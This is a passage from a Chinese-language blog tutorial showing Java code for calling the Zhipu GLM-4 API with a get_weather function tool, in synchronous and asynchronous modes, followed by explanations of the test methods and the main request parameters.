class="ql-code-block"> List<ChatTool> chatToolList = new ArrayList<>(); </div> <div class="ql-code-block"> ChatTool chatTool = new ChatTool(); </div> <div class="ql-code-block"> chatTool.setType(ChatToolType.FUNCTION.value()); </div> <div class="ql-code-block"> ChatFunctionParameters chatFunctionParameters = new ChatFunctionParameters(); </div> <div class="ql-code-block"> chatFunctionParameters.setType("object"); </div> <div class="ql-code-block"> Map<String, Object> properties = new HashMap<>(); </div> <div class="ql-code-block"> properties.put("location", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "城市,如:北京"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("unit", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("enum", new ArrayList<String>() {{ </div> <div class="ql-code-block"> add("celsius"); </div> <div class="ql-code-block"> add("fahrenheit"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> chatFunctionParameters.setProperties(properties); </div> <div class="ql-code-block"> ChatFunction chatFunction = ChatFunction.builder() </div> <div class="ql-code-block"> .name("get_weather") </div> <div class="ql-code-block"> .description("Get the current weather of a location") </div> <div class="ql-code-block"> .parameters(chatFunctionParameters) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> chatTool.setFunction(chatFunction); </div> <div class="ql-code-block"> chatToolList.add(chatTool); </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4) </div> <div class="ql-code-block"> .stream(Boolean.FALSE) </div> <div class="ql-code-block"> .invokeMethod(Constants.invokeMethod) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .tools(chatToolList) </div> <div class="ql-code-block"> .toolChoice("auto") </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse invokeModelApiResp = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> try { </div> <div class="ql-code-block"> System.out.println("model output:" + mapper.writeValueAsString(invokeModelApiResp)); </div> <div class="ql-code-block"> } catch (JsonProcessingException e) { </div> <div class="ql-code-block"> e.printStackTrace(); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 异步调用 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static String testAsyncInvoke() { </div> <div class="ql-code-block"> List<ChatMessage> messages = new ArrayList<>(); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "ChatLM和你哪个更强大"); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> // 函数调用参数构建部分 </div> <div class="ql-code-block"> List<ChatTool> chatToolList = new ArrayList<>(); </div> <div class="ql-code-block"> ChatTool chatTool = new ChatTool(); </div> <div class="ql-code-block"> chatTool.setType(ChatToolType.FUNCTION.value()); </div> <div class="ql-code-block"> ChatFunctionParameters chatFunctionParameters = new ChatFunctionParameters(); </div> <div class="ql-code-block"> chatFunctionParameters.setType("object"); </div> <div class="ql-code-block"> Map<String, Object> properties = new HashMap<>(); </div> <div class="ql-code-block"> properties.put("location", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "城市,如:北京"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("unit", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("enum", new ArrayList<String>() {{ </div> <div class="ql-code-block"> add("celsius"); </div> <div class="ql-code-block"> add("fahrenheit"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> chatFunctionParameters.setProperties(properties); </div> <div class="ql-code-block"> ChatFunction chatFunction = ChatFunction.builder() </div> <div class="ql-code-block"> .name("get_weather") </div> <div class="ql-code-block"> .description("Get the current weather of a location") </div> <div class="ql-code-block"> .parameters(chatFunctionParameters) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> chatTool.setFunction(chatFunction); </div> <div class="ql-code-block"> chatToolList.add(chatTool); </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4) </div> <div class="ql-code-block"> .stream(Boolean.FALSE) </div> <div class="ql-code-block"> .invokeMethod(Constants.invokeMethodAsync) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .tools(chatToolList) </div> <div class="ql-code-block"> .toolChoice("auto") </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse invokeModelApiResp = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(invokeModelApiResp)); </div> <div class="ql-code-block"> return invokeModelApiResp.getData().getTaskId(); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 查询异步结果 </div> <div class="ql-code-block"> * </div> <div class="ql-code-block"> * @param taskId </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testQueryResult(String taskId) { </div> <div class="ql-code-block"> QueryModelResultRequest request = new QueryModelResultRequest(); </div> <div class="ql-code-block"> request.setTaskId(taskId); </div> <div class="ql-code-block"> QueryModelResultResponse queryResultResp = client.queryModelResult(request); </div> <div class="ql-code-block"> try { </div> <div class="ql-code-block"> System.out.println("model output:" + mapper.writeValueAsString(queryResultResp)); </div> <div class="ql-code-block"> } catch (JsonProcessingException e) { </div> <div class="ql-code-block"> e.printStackTrace(); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> </div> <p><br></p> <p><br></p> <h5>(1) 填充自己的信息</h5> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><br></p> <h5>(2) 启动示例</h5> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p>这里解释一下四个的区别</p> <ol> <li data-list="number"><span class="ql-ui"></span>testSseInvoke 使用的是逐渐输出,AI回答的结果是一段一段的展示。</li> <li data-list="number"><span class="ql-ui"></span>testInvoke 使用的是同步执行,当AI全部的回答都输出后才会展示出来。</li> <li data-list="number"><span class="ql-ui"></span>testAsyncInvoke 与testQueryResult 搭配使用,先通过testAsyncInvoke 让AI去执行,直接返回一个成功或者失败,之后通过获得的taskId,再用testQueryResult去查询获得结果即可。这个过程实践过Bi项目的小伙伴应该深有体会。</li> </ol> <p><br></p> <p><br></p> <h5>(3) 结果展示</h5> <p><br></p> <p></p> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><span style="color: rgb(216, 57, 49);">这里补充下,如果你要修改问题,只需要修改content参数中的值即可。相当于问AI问题。</span></p> <p><br></p> <p><br></p> <p><br></p> <h4>参数阅读</h4> <p></p> <p><br></p> <p>其实最关键的就是前三个</p> <p><strong>A. model </strong></p> <p>你要选择哪个模型, 例如选择GLM-4 还是GLM-3-Turbo</p> <p></p> <p><br></p> <p><strong>B. messages</strong></p> <p>这里需要考虑两个值,一个是role,一般为user即可。role的值官方已经给我们枚举了,只需要调用即可。</p> <p>剩下的则是我们需要自己填入的content</p> <p></p> <p><br></p> <p><br></p> <p><strong>C. request_id</strong></p> <p>这个是区分我们每次上传的任务,保证唯一性,可以自己上传一个类似于雪花算法的ID,用户端不传的话平台也会自动生成。</p> <p><br></p> <p>其他参数目前影子测试完前五个方法后发现使用官方默认的即可。只需要你调整好代码的位置以及content的值即可。</p> <p></p> <p><br></p> <p>剩下的参数,如果你需要使用微调或者向量知识库等高阶玩法,则根据官方文档调整即可。很多地方已经自带了枚举值,只需要直接选择填充。</p> <p><br></p> <p>最后,大家可以用这一个月的免费额度,打造一个属于自己的AI小工具使用,更多玩法,由大家一起探索。</p> <p><br></p> <p>我是影子,一名以Java为主,其余时间探索AI+编程的程序猿。</p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> </div> </body> </html>
